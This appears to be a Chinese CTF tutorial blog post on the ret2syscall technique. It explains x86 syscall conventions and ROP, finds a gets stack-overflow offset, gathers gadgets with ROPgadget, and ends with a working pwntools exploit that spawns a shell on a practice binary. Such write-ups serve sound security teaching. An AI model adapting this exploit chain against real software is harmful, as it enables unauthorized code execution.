参考:ret2syscall_Re1own的博客-CSDN博客
pwn小白入门05---ret2syscall_苏璃只想划水的博客-CSDN博客
ret2syscall,即通过ROP控制程序执行系统调用,获取 shell。
Linux 在x86上的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。
在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h 和
/usr/include/x86_64-linux-gnu/asm/unistd_32.h 分别可以查看 64 位和 32 位的系统调用号。
1.应用程序调用库函数(API);
2.库函数将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
3.内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
4.系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
5.中断处理函数返回到 API 中;
6.API 将 EAX 返回给应用程序。
1.把系统调用的编号存入 EAX;
2.把函数参数存入其它通用寄存器;
3.触发 0x80 号中断(int 0x80)。
Linux在用int 0x80进行系统调用时,调用号存在于EAX,第一个参数存在于EBX,第二个参数存在于ECX,第三个参数存在于EDX。
%eax | Name | Source | %ebx | %ecx | %edx |
1 | sys_exit | kernel/exit.c | int | - | - |
2 | sys_fork | arch/i386/kernel/process.c | struct pt_regs | - | - |
3 | sys_read | fs/read_write.c | unsigned int | char * | size_t |
4 | sys_write | fs/read_write.c | unsigned int | const char * | size_t |
5 | sys_open | fs/open.c | const char * | int | int |
6 | sys_close | fs/open.c | unsigned int | - | - |
7 | sys_waitpid | kernel/exit.c | pid_t | unsigned int * | int |
8 | sys_creat | fs/open.c | const char * | int | - |
9 | sys_link | fs/namei.c | const char * | const char * | - |
10 | sys_unlink | fs/namei.c | const char * | - | - |
11 | sys_execve | arch/i386/kernel/process.c | struct pt_regs | - | - |
我们利用第11号函数execve(),我们将0xb放入eax,将指向/bin/sh的地址放入ebx,ecx与edx为空值,即execve("/bin/sh",NULL,NULL)。
随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序,我们可以将多个gadget组合到一起,进而可以执行多条汇编指令,从而达到目的。ROP 攻击一般得满足如下条件:
程序存在溢出,并且可以控制返回地址。
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
题目:https://download.csdn.net/download/weixin_52553215/86962752
32位,开启了NX保护,不能ret2shellcode
右键左边的Function name-Modify filters来搜索函数名,发现没有system可以直接调用,没法ret2text。并且发现通过puts泄露地址去猜libc也不太适用,因为程序中有它自己写的puts函数,没法泄露和计算libc的加载基地址。
此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,我们采取使用ret2syscall即控制程序执行系统调用,获取 shell。
那么我们如果希望通过系统调用来获取 shell ,就需要把系统调用的参数放入各个寄存器,然后执行 int 0x80 指令就可以了。
目光投向反汇编主函数,很显然gets会导致栈溢出,接下来的任务就是寻找v4相对于ebp的偏移量。
下面用gdb
调试一下寻找到偏移量,首先断点下在gets
函数,然后查看此时eax
与ebp
的距离。
计算得出v4相对于ebp的偏移量为6Ch=108字节,需要覆盖的返回地址距离v4的偏移量为108+4=112字节。
思路:通过系统调用执行:execve("/bin/sh",NULL,NULL)
(32位程序)
eax=execve 的系统调用号
ebx=/bin/sh 的地址
ecx=0
edx=0
我们需要知道execve 的系统调用号、填充eax-edx指令的地址,还需要知道 /bin/sh 字符串的地址和 int 0x80 指令的地址。
(1)首先 eax 寄存器应该放系统调用号,查看 execve 的系统调用号:
cat /usr/include/asm/unistd_32.h | grep execve
发现为11。
要让eax = 0xb,那么需要找的指令是pop eax ; ret。我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,所以pop之后还需要一个ret返回到控制程序执行流。
- root@ubuntu:/home/lingqi/Desktop/pwn# ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
- 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
- 0x080bb196 : pop eax ; ret
- 0x0807217a : pop eax ; ret 0x80e
- 0x0804f704 : pop eax ; ret 3
- 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
选择0x080bb196 : pop eax ; ret
类似的,我们可以得到控制其它寄存器的 gadgets
- root@ubuntu:/home/lingqi/Desktop/pwn# ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
- 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
- 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
- 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
- 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
- 0x080be23f : pop ebx ; pop edi ; ret
- 0x0806eb69 : pop ebx ; pop edx ; ret
- 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
- 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
- 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
- 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
- 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
- 0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
- 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
- 0x08048913 : pop ebx ; pop esi ; pop edi ; ret
- 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
- 0x08049a94 : pop ebx ; pop esi ; ret
- 0x080481c9 : pop ebx ; ret
- 0x080d7d3c : pop ebx ; ret 0x6f9
- 0x08099c87 : pop ebx ; ret 8
- 0x0806eb91 : pop ecx ; pop ebx ; ret
- 0x0806336b : pop edi ; pop esi ; pop ebx ; ret
- 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
- 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
- 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
- 0x0805c820 : pop esi ; pop ebx ; ret
- 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
- 0x0807b6ed : pop ss ; pop ebx ; ret
选择0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
(这个可以直接控制其它三个寄存器。)
(2)获得 /bin/sh 字符串对应的地址:
- root@ubuntu:/home/lingqi/Desktop/pwn# ROPgadget --binary ret2syscall --string '/bin/sh'
- Strings information
- ============================================================
- 0x080be408 : /bin/sh
(3)获得 int 0x80 的地址:
- root@ubuntu:/home/lingqi/Desktop/pwn# ROPgadget --binary ret2syscall --only 'int'
- Gadgets information
- ============================================================
- 0x08049421 : int 0x80
-
- Unique gadgets found: 1
- # encoding: utf-8
- from pwn import *
- context(os='linux', arch='i386', log_level='debug')
-
- if __name__ == '__main__':
- sh = process("./ret2syscall")
- pop_eax_ret = 0x080bb196
- pop_edx_ecx_ebx_ret = 0x0806eb90
- int_0x80 = 0x08049421
- binsh = 0x80be408
- payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
- sh.sendline(payload)
- sh.interactive()